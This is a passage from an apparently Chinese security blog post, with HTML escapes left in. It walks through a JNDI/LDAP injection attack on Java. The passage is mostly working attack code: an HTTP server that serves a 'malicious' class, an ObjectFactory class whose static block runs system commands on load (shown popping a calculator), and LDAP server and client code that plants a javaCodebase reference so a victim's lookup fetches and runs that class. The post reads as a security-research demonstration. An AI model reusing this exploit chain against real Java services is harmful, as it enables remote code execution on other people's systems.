![\"\"](\"https:\/\/blog.73007300.xyz\/wp-content\/uploads\/2020\/02\/image-10.png\")
<\/figure>\n\n\n\n\u4e0b\u9762\u4e0a\u6d4b\u8bd5\u4ee3\u7801\u3002<\/p>\n\n\n\n
\u6076\u610f\u7684HTTP Server<\/h2>\n\n\n\n
\u7528\u4e8e\u611f\u67d3\u7684\u670d\u52a1\u901a\u8fc7javaCodebase\u4ece\u8fd9\u91cc\u52a0\u8f7d\u6076\u610f\u7684\u5916\u90e8\u7c7b\u3002
\nhttp server:<\/p>\n\n\n\n
package com.hans.httpServer;\n\nimport com.sun.net.httpserver.HttpExchange;\nimport com.sun.net.httpserver.HttpHandler;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.InetSocketAddress;\n\/*\n * \u4f60\u5ba2\u6237\u7aef\u7f3a\u4ec0\u4e48\u7c7b\u5230\u6211\u8fd9\u4e2aHttp\u670d\u52a1\u4e0a\u6765\u62ff\n * https:\/\/paper.seebug.org\/1091\/\n * 1. First start http server\n * *\/\npublic class HttpServer implements HttpHandler {\n public void handle(HttpExchange httpExchange) {\n try {\n System.out.println(\"new http request from \" + httpExchange.getRemoteAddress() + \" \" + httpExchange.getRequestURI());\n InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());\n ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();\n while (inputStream.available() > 0) {\n byteArrayOutputStream.write(inputStream.read());\n }\n\n byte[] bytes = byteArrayOutputStream.toByteArray();\n httpExchange.sendResponseHeaders(200, bytes.length);\n httpExchange.getResponseBody().write(bytes);\n httpExchange.close();\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n public static void main(String args[]) throws IOException {\n com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);\n\n System.out.println(\"String HTTP Server on port: 8000\");\n httpServer.createContext(\"\/\", new HttpServer());\n httpServer.setExecutor(null);\n httpServer.start();\n }\n}\n<\/code><\/pre>\n\n\n\n\u6076\u610f\u7684\u7c7b\uff1a<\/p>\n\n\n\n
package com.hans.remoteClass;\n\nimport javax.naming.Context;\nimport javax.naming.Name;\nimport javax.naming.spi.ObjectFactory;\nimport java.io.BufferedInputStream;\nimport java.io.BufferedReader;\nimport java.io.InputStreamReader;\nimport java.io.Serializable;\nimport java.util.Hashtable;\n\npublic class ExportObject implements ObjectFactory, Serializable {\n\n\tprivate static final long serialVersionUID = 1L;\n\n\tstatic {\n \/\/\u8fd9\u91cc\u7531\u4e8e\u5728static\u4ee3\u7801\u5757\u4e2d\uff0c\u65e0\u6cd5\u76f4\u63a5\u629b\u5f02\u5e38\u5916\u5e26\u6570\u636e\uff0c\u4e0d\u8fc7\u5728static\u4e2d\u5e94\u8be5\u4e5f\u6709\u5176\u4ed6\u65b9\u5f0f\u5916\u5e26\u6570\u636e\u3002\u6ca1\u5199\u5728\u6784\u9020\u51fd\u6570\u4e2d\u662f\u56e0\u4e3a\u9879\u76ee\u4e2d\u6709\u4e9b\u5229\u7528\u65b9\u5f0f\u4e0d\u4f1a\u8c03\u7528\u6784\u9020\u53c2\u6570\uff0c\u6240\u4ee5\u4e3a\u4e86\u65b9\u6807\u76f4\u63a5\u5199\u5728static\u4ee3\u7801\u5757\u4e2d\u6240\u6709\u8fdc\u7a0b\u52a0\u8f7d\u7c7b\u7684\u5730\u65b9\u90fd\u4f1a\u8c03\u7528static\u4ee3\u7801\u5757\n try {\n \/\/ run command on kali\n exec(\"gnome-calculator\");\n \/\/ run command on windows\n \/\/exec(\"calc\");\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n public static void exec(String cmd) throws Exception {\n String sb = \"\";\n BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());\n BufferedReader inBr = new BufferedReader(new InputStreamReader(in));\n String lineStr;\n while ((lineStr = inBr.readLine()) != null)\n sb += lineStr + \"\\n\";\n inBr.close();\n in.close();\n\/\/ throw new Exception(sb);\n }\n\n public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {\n return null;\n }\n}\n<\/code><\/pre>\n\n\n\n\u542f\u52a8com.hans.httpServer.HttpServer \u5373\u53ef\u901a\u8fc7 curl \"http:\/\/localhost:8000\/com\/hans\/remoteClass\/ExportObject.class\" \u8bf7\u6c42\u5230\u6076\u610f\u7c7b\u3002<\/p>\n\n\n\n
LDAP\u670d\u52a1<\/h2>\n\n\n\n
\u5148\u5f00\u4e00\u4e2a\u6b63\u5e38\u7684LDAP\u670d\u52a1\uff1a<\/p>\n\n\n\n
package com.hans.ldapServer;\n\n\nimport com.unboundid.ldap.listener.InMemoryDirectoryServer;\nimport com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;\nimport com.unboundid.ldap.listener.InMemoryListenerConfig;\n\nimport javax.net.ServerSocketFactory;\nimport javax.net.SocketFactory;\nimport javax.net.ssl.SSLSocketFactory;\nimport java.io.IOException;\nimport java.net.InetAddress;\n\n\n\/**\n * LDAP server implementation returning JNDI references\n *\n * @author mbechler\n *\/\npublic class LDAPRefServer {\n\n private static final String LDAP_BASE = \"dc=example,dc=com\";\n\n public static void main(String[] args) throws IOException {\n int port = 1389;\n\n try {\n InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);\n config.setListenerConfigs(new InMemoryListenerConfig(\n \"listen\", \/\/$NON-NLS-1$\n InetAddress.getByName(\"0.0.0.0\"), \/\/$NON-NLS-1$\n port,\n ServerSocketFactory.getDefault(),\n SocketFactory.getDefault(),\n (SSLSocketFactory) SSLSocketFactory.getDefault()));\n\n config.setSchema(null);\n config.setEnforceAttributeSyntaxCompliance(false);\n config.setEnforceSingleStructuralObjectClass(false);\n\n InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);\n ds.add(\"dn: \" + \"dc=example,dc=com\", \"objectClass: top\", \"objectclass: domain\");\n ds.add(\"dn: \" + \"ou=employees,dc=example,dc=com\", \"objectClass: organizationalUnit\", \"objectClass: top\");\n ds.add(\"dn: \" + \"uid=hans,ou=employees,dc=example,dc=com\", \"objectClass: ExportObject\");\n\n System.out.println(\"Listening on 0.0.0.0:\" + port); \/\/$NON-NLS-1$\n ds.startListening();\n\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n}<\/code><\/pre>\n\n\n\n\u518d\u5411ldap\u670d\u52a1\u63d2\u5165\u6570\u636e\uff1a<\/p>\n\n\n\n
package com.hans.ldapServer;\n\nimport javax.naming.Context;\nimport javax.naming.NamingException;\nimport javax.naming.directory.*;\nimport java.rmi.RemoteException;\nimport java.util.Hashtable;\n\n\/*\n * It works for LdapLookupPayload.java\n * *\/\n\npublic class LDAPServer2 {\n public static void main(String[] args) throws NamingException, RemoteException {\n Hashtable<String, String> env = new Hashtable<String, String>();\n env.put(Context.INITIAL_CONTEXT_FACTORY,\n \"com.sun.jndi.ldap.LdapCtxFactory\");\n env.put(Context.PROVIDER_URL, \"ldap:\/\/localhost:1389\");\n\n DirContext ctx = new InitialDirContext(env);\n\n Attribute mod1 = new BasicAttribute(\"objectClass\", \"top\");\n mod1.add(\"javaNamingReference\");\n\n Attribute mod2 = new BasicAttribute(\"javaCodebase\",\n \"http:\/\/127.0.0.1:8000\/\");\n Attribute mod3 = new BasicAttribute(\"javaClassName\",\n \"PayloadObject\");\n Attribute mod4 = new BasicAttribute(\"javaFactory\", \"com.hans.remoteClass.ExportObject\");\n\n\n ModificationItem[] mods = new ModificationItem[]{\n new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1),\n new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2),\n new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3),\n new ModificationItem(DirContext.ADD_ATTRIBUTE, mod4)\n };\n ctx.modifyAttributes(\"uid=hans,ou=employees,dc=example,dc=com\", mods);\n }\n}<\/code><\/pre>\n\n\n\n